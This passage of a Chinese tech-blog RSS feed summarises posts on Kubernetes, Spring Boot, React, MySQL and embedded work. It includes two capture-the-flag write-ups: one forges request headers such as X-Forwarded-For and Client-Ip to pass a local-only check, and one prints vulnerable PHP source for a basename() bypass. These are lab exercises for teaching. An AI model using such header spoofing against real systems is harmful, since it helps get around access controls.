      <link>https://bchobby.github.io/posts/bd9ae13b84ec1686d6777709fb126165/</link>
      <pubDate>Fri, 29 Dec 2023 10:28:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bd9ae13b84ec1686d6777709fb126165/</guid>
      <description>文章目录 安装kubesphere插件服务暴露NodePort方式LoadBalancer方式安装 OpenELB部署eip资源配置网关启动网关创建路由测试网关路由ingress高级功能在服务中配置LoadBalancer 基础设施部署服务部署建议helm仓库添加helm仓库 运维相关部署gitlab部署nexus3部署harbor 研发相关 安装kubesphere插件 官网参考：概述&#xA;资源定义-&amp;gt;搜索clusterconfiguration 点击进入编辑ks-installer 编辑内容如下 若是担心内容存在出入可使用内容对比工具在线文本比对工具 | 菜鸟工具&#xA;替换内容确定后会自动安装相关插件&#xA;apiVersion: installer.kubesphere.io/v1alpha1 kind: ClusterConfiguration metadata: annotations: kubectl.kubernetes.io/last-applied-configuration: &amp;gt; {&#34;apiVersion&#34;:&#34;installer.kubesphere.io/v1alpha1&#34;,&#34;kind&#34;:&#34;ClusterConfiguration&#34;,&#34;metadata&#34;:{&#34;annotations&#34;:{},&#34;labels&#34;:{&#34;version&#34;:&#34;v3.3.2&#34;},&#34;name&#34;:&#34;ks-installer&#34;,&#34;namespace&#34;:&#34;kubesphere-system&#34;},&#34;spec&#34;:{&#34;alerting&#34;:{&#34;enabled&#34;:false},&#34;auditing&#34;:{&#34;enabled&#34;:false},&#34;authentication&#34;:{&#34;jwtSecret&#34;:&#34;&#34;},&#34;common&#34;:{&#34;core&#34;:{&#34;console&#34;:{&#34;enableMultiLogin&#34;:true,&#34;port&#34;:30880,&#34;type&#34;:&#34;NodePort&#34;}},&#34;es&#34;:{&#34;basicAuth&#34;:{&#34;enabled&#34;:false,&#34;password&#34;:&#34;&#34;,&#34;username&#34;:&#34;&#34;},&#34;elkPrefix&#34;:&#34;logstash&#34;,&#34;externalElasticsearchHost&#34;:&#34;&#34;,&#34;externalElasticsearchPort&#34;:&#34;&#34;,&#34;logMaxAge&#34;:7},&#34;gpu&#34;:{&#34;kinds&#34;:[{&#34;default&#34;:true,&#34;resourceName&#34;:&#34;nvidia.com/gpu&#34;,&#34;resourceType&#34;:&#34;GPU&#34;}]},&#34;minio&#34;:{&#34;volumeSize&#34;:&#34;20Gi&#34;},&#34;monitoring&#34;:{&#34;GPUMonitoring&#34;:{&#34;enabled&#34;:false},&#34;endpoint&#34;:&#34;http://prometheus-operated.kubesphere-monitoring-system.svc:9090&#34;},&#34;openldap&#34;:{&#34;enabled&#34;:false,&#34;volumeSize&#34;:&#34;2Gi&#34;},&#34;redis&#34;:{&#34;enabled&#34;:false,&#34;volumeSize&#34;:&#34;2Gi&#34;}},&#34;devops&#34;:{&#34;enabled&#34;:false,&#34;jenkinsMemoryLim&#34;:&#34;8Gi&#34;,&#34;jenkinsMemoryReq&#34;:&#34;4Gi&#34;,&#34;jenkinsVolumeSize&#34;:&#34;8Gi&#34;},&#34;edgeruntime&#34;:{&#34;enabled&#34;:false,&#34;kubeedge&#34;:{&#34;cloudCore&#34;:{&#34;cloudHub&#34;:{&#34;advertiseAddress&#34;:[&#34;&#34;]},&#34;service&#34;:{&#34;cloudhubHttpsNodePort&#34;:&#34;30002&#34;,&#34;cloudhubNodePort&#34;:&#34;30000&#34;,&#34;cloudhubQuicNodePort&#34;:&#34;30001&#34;,&#34;cloudstreamNodePort&#34;:&#34;30003&#34;,&#34;tunnelNodePort&#34;:&#34;30004&#34;}},&#34;enabled&#34;:false,&#34;iptables-manager&#34;:{&#34;enabled&#34;:true,&#34;mode&#34;:&#34;external&#34;}}},&#34;etcd&#34;:{&#34;endpointIps&#34;:&#34;192.168.31.21,192.168.31.22,192.168.31.23&#34;,&#34;monitoring&#34;:false,&#34;port&#34;:2379,&#34;tlsEnable&#34;:true},&#34;events&#34;:{&#34;enabled&#34;:false},&#34;logging&#34;:{&#34;enabled&#34;:false,&#34;logsidecar&#34;:{&#34;enabled&#34;:true,&#34;replicas&#34;:2}},&#34;metrics_server&#34;:{&#34;enabled&#34;:false},&#34;monitoring&#34;:{&#34;gpu&#34;:{&#34;nvidia_dcgm_exporter&#34;:{&#34;enabled&#34;:false}},&#34;node_exporter&#34;:{&#34;port&#34;:9100},&#34;storageClass&#34;:&#34;&#34;},&#34;multicluster&#34;:{&#34;clusterRole&#34;:&#34;none&#34;},&#34;network&#34;:{&#34;ippool&#34;:{&#34;type&#34;:&#34;none&#34;},&#34;networkpolicy&#34;:{&#34;enabled&#34;:false},&#34;topology&#34;:{&#34;type&#34;:&#34;none&#34;}},&#34;openpitrix&#34;:{&#34;store&#34;:{&#34;enabled&#34;:false}},&#34;persistence&#34;:{&#34;storageClass&#34;:&#34;&#34;},&#34;servicemesh&#34;:{&#34;enabled&#34;:false,&#34;istio&#34;:{&#34;components&#34;:{&#34;cni&#34;:{&#34;enabled&#34;:false},&#34;ingressGateways&#34;:[{&#34;enabled&#34;:false,&#34;name&#34;:&#34;istio-ingressgateway&#34;}]}}},&#34;terminal&#34;:{&#34;timeout&#34;:600},&#34;zone&#34;:&#34;cn&#34;}} labels: version: v3.3.2 name: ks-installer namespace: kubesphere-system spec: alerting: enabled: true auditing: enabled: true authentication: jwtSecret: &#39;&#39; common: core: console: enableMultiLogin: true port: 30880 type: NodePort es: basicAuth: enabled: false password: &#39;&#39; username: &#39;&#39; elkPrefix: logstash externalElasticsearchHost: &#39;&#39; externalElasticsearchPort: &#39;&#39; logMaxAge: 7 gpu: kinds: - default: true resourceName: nvidia.</description>
    </item>
    <item>
      <title>【检索稳定|火爆征稿中】2024年生物医药与医学影像国际会议（IACBMI 2024）</title>
      <link>https://bchobby.github.io/posts/fe2ca4c5e0313133050f8f047984527a/</link>
      <pubDate>Fri, 29 Dec 2023 10:26:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe2ca4c5e0313133050f8f047984527a/</guid>
      <description>【检索稳定|火爆征稿中】2024年生物医药与医学影像国际会议（IACBMI 2024）&#xA;2024 International Conference on Biomedical and Medical Imaging&#xA;2024年生物医学和医学成像国际会议（IACBMI2024）将在中国北京举行。欢迎您参加以“生物医学与医学影像学”为主题的国际会议。这是介绍生物医学和成像新的基本进展的主要国际会议之一。这也有助于促进研究人员之间的交流。&#xA;大会主题：（主题包括但不限于这些,更多详细主题请咨询苏老师）&#xA;主题一：生物医药&#xA;生物信息学中的算法、模型、软件和工具&#xA;生物信息学问题的任何新方法&#xA;应用于诊断、预后、治疗、监测和康复&#xA;生物设备/生物传感器和分子诊断&#xA;计算蛋白质组学&#xA;DNA和RNA结构、功能和序列分析&#xA;模型验证的实验方法&#xA;基因工程和蛋白质工程&#xA;基因调控、表达、鉴定和网络&#xA;基因组学和蛋白质组学&#xA;用于模型生成和识别的成像、仪器和传感器&#xA;免疫和化学信息学&#xA;多尺度建模和综合研究&#xA;二代测序&#xA;制药应用&#xA;生物工程中的概率和优化方法&#xA;蛋白质相互作用、对接和功能&#xA;蛋白质结构、功能和序列分析&#xA;序列分析&#xA;结构生物信息学&#xA;结构、功能和比较基因组学&#xA;结构预测&#xA;合成生物学&#xA;主题二: 医学影像&#xA;医学成像与分析&#xA;计算机辅助诊断&#xA;图像引导程序、机器人干预和建模&#xA;图像感知、观察者表现和技术评估&#xA;分子、结构和功能成像的生物医学应用&#xA;用于医疗保健、研究和应用的图像信息学&#xA;超声波成像&#xA;3D成像&#xA;核医学&#xA;医学中的机器视觉&#xA;医学图像可视化&#xA;生物医学成像&#xA;医学影像学和放射肿瘤学&#xA;医学成像与辐射科学&#xA;分子成像与生物学&#xA;神经影像学&#xA;核医学与分子成像&#xA;射线照相术&#xA;实时成像&#xA;热成像&#xA;光声成像&#xA;内窥镜&#xA;计算机断层扫描&#xA;磁共振成像&#xA;心脏血管造影术&#xA;正电子发射断层扫描&#xA;医学超音波检查&#xA;荧光透视&#xA;牙科射线照相术&#xA;其他相关主题&#xA;投稿邮箱：meets_conf@163.com</description>
    </item>
    <item>
      <title>理解容器的cpu限流</title>
      <link>https://bchobby.github.io/posts/0be845834438b8551bf7217499cfe1a3/</link>
      <pubDate>Fri, 29 Dec 2023 10:26:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0be845834438b8551bf7217499cfe1a3/</guid>
      <description>背景 我们现在的服务一般都是以容器的维度来部署的，不同服务的容器可能在同一台物理机上，为了保证两个服务的容器之间不互相影响，比如某个服务容器不会使用完整台物理机的cpu，我们一般都会对容器进行cpu限流&#xA;cpu限流 cpu限流理解上是很简单的，但是对应到专业术语上的表达是每个cpu周期内可以使用的cpu个数，比如物理机有10核cpu，我们配置容器的限流为2个cpu单位，假设容器有100个线程，这样配置的含义是这100个线程一个cpu周期内使用的cpu总时间不超过两个时钟周期，如果已经用完了，就会被限流，下个cpu周期才能继续使用cpu资源,如下图所示:&#xA;参考地址:https://nanmu.me/zh-cn/posts/2021/myth-of-k8s-cpu-limit-and-throttle/</description>
    </item>
    <item>
      <title>Spring Boot Admin健康检查引起的Spring Boot服务假死</title>
      <link>https://bchobby.github.io/posts/b530f7930e9abe95cb973e0ff87a9357/</link>
      <pubDate>Fri, 29 Dec 2023 10:23:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b530f7930e9abe95cb973e0ff87a9357/</guid>
      <description> 问题现象 最近在spring boot项目中引入了 spring-boot-starter-actuator 后，测试环境开始出现服务假死的现象，&#xA;且这个问题十分怪异，只在多个微服务中的简称A的这个服务中出现，其他服务都没有出现这个问题，&#xA;之所以说他是假死，是因为只是http请求无法访问进去了，但是该服务的定时任务却可以定时执行。&#xA;问题排查 通过查看jvm的线程信息发现，假死的A服务中，存在很多目前正在waiting状态的http nio线程，&#xA;进一步跟踪这些线程的堆栈信息，发现他们都在Alibaba Druid连接池的获取Connection方法中等待获取到最新的Connection，&#xA;第一反应是不是连接泄露了，存在慢sql、阻塞住的sql，或者手动获取connection但是没有归还的现象，&#xA;于是通过在定时任务代码中打印连接池的状态，发现也没有这种情况，而且连接池的最大连接数设置的也挺大的。&#xA;初步定位 通过观察该连接池的链接对象，发现是一个sql server数据库，但是我们的项目配置连接的其实是mysql，&#xA;在代码中搜索发现了有一个手动创建连接池的地方，而这里是为了与一个客户的sql server数据库做同步使用的，但是在给其他的客户部署时，并不需要这个操作，代码如下：&#xA;这里的操作有一个最大的问题，就是当不设置Druid连接池的等待连接时间时，该时间是-1，即默认永远等待，永不超时&#xA;最终定位 有了上面的代码，则需要确认为什么获取不到connection？造成永远等待？&#xA;这很正常，因为其他的客户环境并没有sql server，完全无法连接上啊，这时候Druid连接池中的可用connection压根没有，&#xA;然后spring boot admin，又不停的通过http轮询检查服务健康状态，最终它的每次http请求都会陷入阻塞等待connection，加之http又没有设置连接超时时间，&#xA;最终健康检查http连接占满了服务的http连接，导致其他的请求无法进入。&#xA;解决与避免 这里存在几个问题&#xA;该代码应当在指定客户环境运行，其余客户不应当创建该连接池连接池配置应当通过yml文件配置，这样可以尽快的发现系统中存在的相关io组件，并发现其配置的不正确性，spring boot支持多数据源配置。 </description>
    </item>
    <item>
      <title>[react]脚手架create-react-app/vite与reac项目</title>
      <link>https://bchobby.github.io/posts/fea583ad510942106177a2622e6284cb/</link>
      <pubDate>Fri, 29 Dec 2023 10:20:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fea583ad510942106177a2622e6284cb/</guid>
      <description>[react]脚手架create-react-app/vite与reac项目 环境问题描述create-react-app 脚手架根据脚手架修改项目结构安装脚手架注入配置文件-config文件夹package.json文件变更删除 serviceWorker.js新增reportWebVitals.js文件更新index.js文件 脚手架creat-react-app 缺点 vite 脚手架初始化脚手架 &amp;amp; 项目初始化项目包迁移 本人是在react项目升级的过程迁移的脚手架，原项目使用的creat-react-app,脚手架升级变更对项目的基本结构修复后，项目已经可以正式启动了，记录一下&#xA;环境 node -v.18.15.0react - 16.9.0 问题描述 随着本地node版本的提升，运行以前的项目遇到了以下问题:&#xA;Error: error:0308010C:digital envelope routines::unsupported&#xA;网上描述都是因为 node 版本升级导致的，运行的项目比较早会报错，而网上提供的方案大多都是降低 node 版本，实际上我觉的应该是从其它方面修复而不是降低版本？？？！！！因为我们以后开发的版本都是越来越高的，不可能每次遇到早期的版本都降级node!!!&#xA;然后运行命令查看最新的包的情况:&#xA;npm outdated 同时发现react也是老版本， react最新版本已经升级到 18.2.0 版本，但是使用的却还是16.9.0 ，那么既然都是升级，也可以顺便升级一下 react 的代码&#xA;考虑到react都升级了，当初创建项目的脚手架应该也升级了，所以项目的基本结构可能发生变化，因此先升级脚手架看一下结构是否变化&#xA;create-react-app 脚手架 根据脚手架修改项目结构 考虑到基础框架的内容可能也存在变更，并且之前使用的create-react-app脚手架，那么先升级了全局的create-react-app脚手架&#xA;安装脚手架 npm i create-react-app -g create-react-app -V 发现输出版本是5.0.1是最新版本&#xA;然后使用脚手架创建新的项目&#xA;create-react-app &amp;lt;react-project-name&amp;gt; 此时比对项目的基本结构，因为demo只是最基础的东西，所以需要查看的仅仅包括 package.json 的变化，一些基础文件的变化，基本不包括业务相关代码&#xA;注入配置文件-config文件夹 npm run eject 考虑到之前config文件夹就是自动注入的，并且没有其它额外的配置，所以将项目中老版本的config文件夹也删除，如果之后需要的话，再生成，也就是可以暂时忽略配置文件，因为没有使用到配置文件的修改&#xA;package.json文件变更 根据 package.json 的比对发现运行的脚本发生了变化&#xA;首先将运行的脚本：&#xA;&#34;scripts&#34;: { &#34;start&#34;: &#34;</description>
    </item>
    <item>
      <title>[LitCTF 2023]Http pro max plus</title>
      <link>https://bchobby.github.io/posts/0647043eadbb7837770dd72793607f53/</link>
      <pubDate>Fri, 29 Dec 2023 10:08:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0647043eadbb7837770dd72793607f53/</guid>
      <description>[LitCTF 2023]Http pro max plus wp 页面内容：只允许本地访问&#xA;考查 HTTP ，抓包：&#xA;添加 XFF 头： 注意这里抓包之后还有两行回车换行，不要破坏掉了，不然收不到响应。&#xA;X-Forwarded-For: 127.0.0.1 不能用 XFF ，那就换一个。&#xA;添加 Client-Ip 头 Client-Ip: 127.0.0.1 这里提示：You are not from pornhub.com !&#xA;添加 Referer 头 Referer: pornhub.com 提示用 Chrome 浏览器。&#xA;修改 User-Agent 头 User-Agent: Chrome 提示代理服务器地址 Clash.win 。&#xA;添加 Via 头 Via 报头一般由代理加入，正向和反向代理，并且可以在请求头和响应标头出现。它用于跟踪消息转发，避免请求循环，并识别请求/响应链中发送者的协议功能。&#xA;Via: Clash.win 提示给出了一个文件：wtfwtfwtfwtf.php 。&#xA;访问 wtfwtfwtfwtf.php 文件 提示中给出了一个文件：sejishikong.php&#xA;访问 sejishikong.php 文件 拿到 flag 。&#xA;总结 最后总结一下学到的新东西：&#xA;Client-Ip 请求头可以代替 X-Forwarded-For 请求头伪造 IP 。</description>
    </item>
    <item>
      <title>QT6——下载与配置</title>
      <link>https://bchobby.github.io/posts/b017bbc60a6498f4c65a68b3534c93a3/</link>
      <pubDate>Fri, 29 Dec 2023 10:04:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b017bbc60a6498f4c65a68b3534c93a3/</guid>
      <description>qt6版本的编译器，采取在线下载的方式，所以本身的安装包并不大&#xA;附上安装包：&#xA;天翼云盘链接：https://cloud.189.cn/t/zIvuqquUBfQr （访问码：loc4）&#xA;首先需要注册一个邮箱&#xA;勾选下面两个选项&#xA;下一步&#xA;选第二个，下一步 这一步，可以自定义安装目录，然后选择安装的项目，这里选择第一个&#xA;这里选择安装的组件，这和我们要构建项目时的Kits有关我这里选择的组件如下&#xA;QT6下的&#xA;QT5.15.2下的&#xA;如果有需要的话，把最下面的展开里面还有个openssl，可以下载&#xA;后面一直点击下一步就行了&#xA;安装好后，我们的套件应该有如下的配置&#xA;如果没有大家想要的套件，我们可以去到qt的安装目录下找这个文件：&#xA;打开，可以添加套件</description>
    </item>
    <item>
      <title>MySQL高级进阶：索引优化</title>
      <link>https://bchobby.github.io/posts/8c6b4f80aadab5c355d0168654543d3d/</link>
      <pubDate>Fri, 29 Dec 2023 10:01:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c6b4f80aadab5c355d0168654543d3d/</guid>
      <description>来源：blog.csdn.net/qq_43372633/article/details/130846879&#xA;一. 索引介绍&#xA;二. 索引分类&#xA;三. 性能分析&#xA;四. 查询优化&#xA;一. 索引介绍 1.1 什么是Mysql索引 MySQL官方对于索引的定义：索引是帮助MySQL高效获取数据的数据结构。&#xA;MySQL在存储数据之外，数据库系统中还维护着满足特定查找算法的数据结构，这些数据结构以某种引用(指向)表中的数据，这样我们就可以通过数据结构上实现的高级查找算法来快速找到我们想要的数据。而这种数据结构就是索引。&#xA;简单理解为“排好序的可以快速查找数据的数据结构”。&#xA;1.2 索引数据结构 下图是二叉树的索引方式：&#xA;图片 二叉树数据结构的弊端：当极端情况下，数据递增插入时，会一直向右插入，形成链表，查询效率会降低。&#xA;MySQL中常用的的索引数据结构有BTree索引(Myisam普通索引)，B+Tree索引（Innodb普通索引），Hash索引(memory存储引擎)等等。&#xA;1.3 索引优势 提高数据检索的效率，降低数据库的IO成本。&#xA;通过索引对数据进行排序，降低数据排序的成本，降低了CPU的消耗。&#xA;1.4 索引劣势 索引实际上也是一张表，保存了主键和索引的字段，并且指向实体表的记录，所以索引也是需要占用空间的。&#xA;在索引大大提高查询速度的同时，却会降低表的更新速度，在对表进行数据增删改的同时，MySQL不仅要更新数据，还需要保存一下索引文件。&#xA;每次更新添加了的索引列的字段，都会去调整因为更新带来的减值变化后的索引的信息。&#xA;1.5 索引使用场景 哪些情况需要创建索引：&#xA;主键自动建立唯一索引&#xA;频繁作为查询条件的字段应该创建索引(where 后面的语句)&#xA;查询中与其它表关联的字段，外键关系建立索引&#xA;多字段查询下倾向创建组合索引&#xA;查询中排序的字段，排序字段若通过索引去访问将大大提高排序速度&#xA;查询中统计或者分组字段&#xA;哪些情况不推荐建立索引:&#xA;表记录太少&#xA;经常增删改的表&#xA;Where条件里用不到的字段不建立索引&#xA;二. 索引分类 2.1 主键索引 表中的列设定为主键后，数据库会自动建立主键索引。&#xA;单独创建和删除主键索引语法：&#xA;创建主键索引语法：alter table 表名 add primary key (字段);&#xA;删除主键索引语法：alter table 表名 drop primary key;&#xA;2.2 唯一索引 表中的列创建了唯一约束时，数据库会自动建立唯一索引。&#xA;单独创建和删除唯一索引语法：&#xA;创建唯一索引语法：alter table 表名 add unique 索引名(字段)；</description>
    </item>
    <item>
      <title>[鹤城杯 2021]EasyP</title>
      <link>https://bchobby.github.io/posts/9d7d33b7beadc2c67b92d972e91dc665/</link>
      <pubDate>Fri, 29 Dec 2023 10:01:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d7d33b7beadc2c67b92d972e91dc665/</guid>
      <description>[鹤城杯 2021]EasyP wp 参考博客： basename()绕过小结&#xA;request导致的安全性问题分析&#xA;源码分析 首先进入题目，看到代码：&#xA;&amp;lt;?php include &#39;utils.php&#39;; if (isset($_POST[&#39;guess&#39;])) { $guess = (string) $_POST[&#39;guess&#39;]; if ($guess === $secret) { $message = &#39;Congratulations! The flag is: &#39; . $flag; } else { $message = &#39;Wrong. Try Again&#39;; } } if (preg_match(&#39;/utils\.php\/*$/i&#39;, $_SERVER[&#39;PHP_SELF&#39;])) { exit(&#34;hacker :)&#34;); } if (preg_match(&#39;/show_source/&#39;, $_SERVER[&#39;REQUEST_URI&#39;])){ exit(&#34;hacker :)&#34;); } if (isset($_GET[&#39;show_source&#39;])) { highlight_file(basename($_SERVER[&#39;PHP_SELF&#39;])); exit(); }else{ show_source(__FILE__); } ?&amp;gt; 其中第一段代码是让我们传入一个 GET 参数 guess 。这个参数值先会经过转义然后跟 $secret 强比较。我没有办法绕过，也猜不到 $secret 的值是多少，所以这段代码的作用相当于没有。</description>
    </item>
    <item>
      <title>Spring Boot 后端服务开发学习计划</title>
      <link>https://bchobby.github.io/posts/5434ae44ab9a102da2139fd45d6fec6a/</link>
      <pubDate>Fri, 29 Dec 2023 09:56:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5434ae44ab9a102da2139fd45d6fec6a/</guid>
      <description> 一、专业技能提升&#xA;Spring Boot 深入学习与实践：&#xA;学习并理解Spring Boot的核心原理和特性，如自动配置、starter、Actuator等。实践开发复杂的后端API，包括RESTful API设计、异常处理、安全控制等。熟练使用Spring Boot与Mariadb的集成，进行数据库操作和事务管理。 Mariadb 数据库优化：&#xA;深入理解SQL语句和数据库优化技巧，提高查询效率。学习并掌握数据库设计原则和范式，提升数据库结构设计能力。研究并实践Mariadb的备份恢复、性能监控和故障排查方法。 Elasticsearch 应用与扩展：&#xA;系统学习Elasticsearch的索引、搜索、聚合等功能，提升数据检索和分析能力。掌握Elasticsearch在Spring Boot中的集成和使用，实现高效的数据存储和查询。探索Elasticsearch的高级特性，如分片和副本、监控和调优等。 二、项目实战与经验积累&#xA;参与或主导一项基于Spring Boot、Mariadb和Elasticsearch的实际项目开发，将所学知识应用到实践中。在项目中注重代码质量和团队协作，遵守编码规范，编写清晰、可维护的代码。对项目进行持续优化和改进，不断提升系统性能和用户体验。 三、理论知识拓展&#xA;学习和研究相关的计算机科学理论，如算法、数据结构、操作系统、网络等，为技术实践打下坚实基础。关注软件工程领域的最新动态和趋势，了解新的开发工具、框架和技术，保持技术敏感度。 四、个人综合素质提升&#xA;提高英语阅读和沟通能力，跟踪国际前沿技术和资讯。培养良好的时间管理和自我学习能力，合理安排学习和生活，保持高效的学习状态。参加技术分享和交流活动，扩大人脉圈，提升自己的行业影响力。 </description>
    </item>
    <item>
      <title>在web前端培训班怎样一步一步的来学习</title>
      <link>https://bchobby.github.io/posts/b8cc67db849854c19577b8f5b476b2ec/</link>
      <pubDate>Fri, 29 Dec 2023 09:54:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8cc67db849854c19577b8f5b476b2ec/</guid>
      <description>web前端作为一门广泛应用的编程语言，在现代软件开发领域中有着重要的地位。对于想要学习web前端的人来说，参加专业的web前端培训班是一个不错的选择。下面将介绍在web前端培训班学习的步骤，帮助学员更好地掌握这门编程语言。&#xA;1.学习心态&#xA;首先，学员在web前端培训班学习需要调整好学习的心态。学习web前端需要持之以恒的学习态度，要有足够的耐心和毅力。在学习过程中会遇到各种各样的问题和困难，要有足够的心理准备，保持乐观的心态，不断克服困难，才能取得更好的学习效果。&#xA;2.学习计划的制定&#xA;其次，学员需要制定合理的学习计划。在web前端培训班学习期间，要根据课程安排和个人实际情况，制定详细的学习计划，包括每天的学习时间安排、学习内容安排等。合理的学习计划可以帮助学员更好地安排学习时间，提高学习效率。&#xA;3.基础知识的积累&#xA;在web前端培训班学习过程中，学员需要先从基础知识开始学习。包括web前端语言的基本语法、面向对象的思想、常用类库等内容。这些基础知识是学习web前端的基础，学员需要认真对待，扎实掌握。&#xA;4.项目实战案例的练习与经验积累&#xA;除了理论知识外，学员还需要通过实际的项目实战案例进行练习，积累实际操作经验。在web前端培训班中，通常会安排一些实际项目案例供学员练习，学员需要积极参与，动手实践，不断积累实际经验。&#xA;5.多交流&#xA;学员在web前端培训班学习过程中，还需要多和老师、同学进行交流。可以通过提问、讨论等方式，加深对知识点的理解，发现问题并及时解决。交流还可以帮助学员结识更多的朋友，建立学习小组，共同进步。&#xA;6.培养自主学习能力的必要性&#xA;最后，学员需要培养自主学习能力。在web前端培训班学习期间，老师会给出一定的学习任务，但是学员也需要有自主学习的能力，能够主动查阅资料，解决问题。只有具备了自主学习的能力，才能在今后的学习和工作中更好地成长。&#xA;总之，在web前端培训班学习web前端，需要学员调整好学习心态，制定合理的学习计划，扎实掌握基础知识，积累实际经验，多交流，培养自主学习能力。只有这样，才能更好地掌握这门编程语言，为将来的发展打下坚实的基础。</description>
    </item>
    <item>
      <title>Spring Boot Data中文文档</title>
      <link>https://bchobby.github.io/posts/1370e365b2d1e78c147911992f9c04d5/</link>
      <pubDate>Fri, 29 Dec 2023 09:52:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1370e365b2d1e78c147911992f9c04d5/</guid>
      <description>本文为官方文档直译版本。原文链接&#xA;Spring Boot Data中文文档 引言SQL 数据库配置数据源嵌入式数据库支持连接到生产数据库数据源配置支持的连接池连接到 JNDI 数据源 使用 JdbcTemplate使用 JdbcClientJPA 和 Spring Data JPA实体类Spring Data JPA RepositoriesSpring Data Envers Repositories创建和删除 JPA 数据库在视图中打开 EntityManager Spring Data JDBC使用 H2 的 Web 控制台更改 H2 控制台路径在安全应用程序中访问 H2 控制台 使用 jOOQ代码生成使用 DSLContextjOOQ SQL 语言自定义 jOOQ 使用 R2DBC嵌入式数据库支持使用 DatabaseClientSpring Data R2DBC Repositories 使用 NoSQL 技术Redis连接到 Redis MongoDB连接到 MongoDB 数据库MongoTemplateSpring Data MongoDB Repositories Neo4j连接到 Neo4j 数据库Spring Data Neo4j Repositories Elasticsearch使用 REST 客户端连接 Elasticsearch使用 RestClient 连接 Elasticsearch使用 ElasticsearchClient 连接到 Elasticsearch使用 ReactiveElasticsearchClient 连接到 Elasticsearch 使用 Spring Data 连接 ElasticsearchSpring Data Elasticsearch Repositories Cassandra连接到 CassandraSpring Data Cassandra Repositories Couchbase连接到 CouchbaseSpring Data Couchbase Repositories LDAP连接到 LDAP 服务器Spring Data LDAP Repositories嵌入式内存 LDAP 服务器 InfluxDB连接到 InfluxDB 引言 Spring Boot 集成了许多数据技术，包括 SQL 和 NoSQL。</description>
    </item>
    <item>
      <title>普中STM32-PZ6806L开发板(HAL库函数实现-无源蜂鸣器响动)</title>
      <link>https://bchobby.github.io/posts/2c78ba76a5cbcb888d44da72c0198ccd/</link>
      <pubDate>Fri, 29 Dec 2023 09:47:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c78ba76a5cbcb888d44da72c0198ccd/</guid>
      <description>简介 本篇将驱动无源蜂鸣器进行5KHz的响动。 电路原理图 蜂鸣器电路原理图&#xA;主芯片驱动引脚原理图&#xA;其他知识 蜂鸣器类型 蜂鸣器分为 有源蜂鸣器 ：触发就会响。&#xA;无源蜂鸣器 : 需要给源, 输出一定频率的音频信号， 震动发声;&#xA;占空比 为什么占空比总是50%呢?&#xA;当蜂鸣器的信号占空比较低时，即高电平时间较短，低电平时间较长。这时蜂鸣器的发声强度会较低，声音持续时间也较短。&#xA;当蜂鸣器的信号占空比较高时，即高电平时间较长，低电平时间较短。这时蜂鸣器的发声强度也会较高，但声音持续时间相对较短。因为蜂鸣器在高电平时间过长的情况下，虽然能够充分振动产生较大的声音，但声音传播时间变短，导致发声时间较短。这种情况下，蜂鸣器的声音更加尖锐和紧凑。- 来自 蜂鸣器发声强度与信号占空比的关系是怎么样的？&#xA;虽然查到的资料并没有说明占空比50%是绝对的， 除非你仔细测试研究了适合你蜂鸣器的占空比, 否则50%就是比较合适的, 本次实验也是在50%占空比的情况下进行测试的;&#xA;us延时 参考 普中STM32-PZ6806L开发板(HAL库函数实现-TIM2实现us延时)，&#xA;本次使用us延时, 而不是PWM实现对应音阶频率, 需要用到us延时, 而系统提供的延时是ms级别的, 所以需要实现一个us的延时方式。&#xA;半周期 因为占空比是50%, 高低电平各一半, 半周期指的就是时间的一半&#xA;实现振动 如何实现振动， 浅意来说就需要实现波, 令蜂鸣片振动，从而发声， 无源蜂鸣器发声频率范围是在1.5KHz-5KHz， 所以实现这个范围的延时, T(时间s) = 1/f(Hz频率), 例如我要产生5KHz的音频信号, 时间是200us, 那半周期就是100us, 就是在&#xA;实现步骤 创建项目 参考 普中STM32-PZ6806L开发板(STM32CubeMX创建项目并点亮LED灯)&#xA;TIM2初始化 TIM2用来实现us级别的延时&#xA;初始化 参考 普中STM32-PZ6806L开发板(HAL库函数实现-TIM2实现us延时)&#xA;初始化蜂鸣器引脚 PB5 引脚设置为输出&#xA;添加用户代码 main.c&#xA;/* * time : 执行次数 */ void BEEP_5KHzAction(uint16_t time) { while (time--) { HAL_GPIO_TogglePin(BEEP_PORT, BEEP_PIN); delay_us(100); // 半周期100us } } int main() { .</description>
    </item>
    <item>
      <title>NFC物联网智慧校园解决方案</title>
      <link>https://bchobby.github.io/posts/c200081938243351301ac24b450ed8be/</link>
      <pubDate>Fri, 29 Dec 2023 09:41:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c200081938243351301ac24b450ed8be/</guid>
      <description>近场通信(Near Field Communication，NFC)又称近距离无线通信，是一种短距离的高频无线通信技术，允许电子设备之间进行非接触式点对点数据传输交换数据。这个技术由免接触式射频识别(RFID)发展而来，并兼容 RFID，主要用于手机等手持设备中。由于近场通信具有天然的安全性，因此，NFC物联网技术在手机支付等领域具有很大的应用前景。&#xA;NFC 将非接触读卡器、非接触卡和点对点 ( Peer-to-Peer) 功能整合进一块单芯片，为消费者的生活方式开创了不计其数的全新机遇。这是一个开放接口平台，可以对无线网络进行快速、主动设置，也是虚拟连接器，服务于现有蜂窝状网络、蓝牙和无线 802.11 设备。&#xA;1 NFC 与其他无线连接技术的比较 与 RFID 一样，NFC 信息也是通过频谱中无线频率部分的电磁感应合方式传递的，但两者之间还是存在很大的区别。&#xA;首先，NFC 是一种提供轻松、安全、迅速的通信的无线连接技术，其传输范围比 RFID小。RFID 的传输范围可以达到几米、甚至几十米，NFC 采取了独特的信号衰减技术，相对于 RFID 来说，NFC 具有距离近、带宽高、能耗低等特点。&#xA;其次，NFC与现有非接触智能卡技术兼容，目前已经成为得到越来越多主要厂商支持的正式标准。&#xA;再次，NFC 还是一种近距离连接协议，提供各种设备间轻松、安全、迅速而自动的通信。与无线世界中的其他连接方式相比，NFC 是一种近距离的私密通信方式。&#xA;最后，RFID 更多地被应用在生产、物流、跟踪、资产管理上，而 NFC 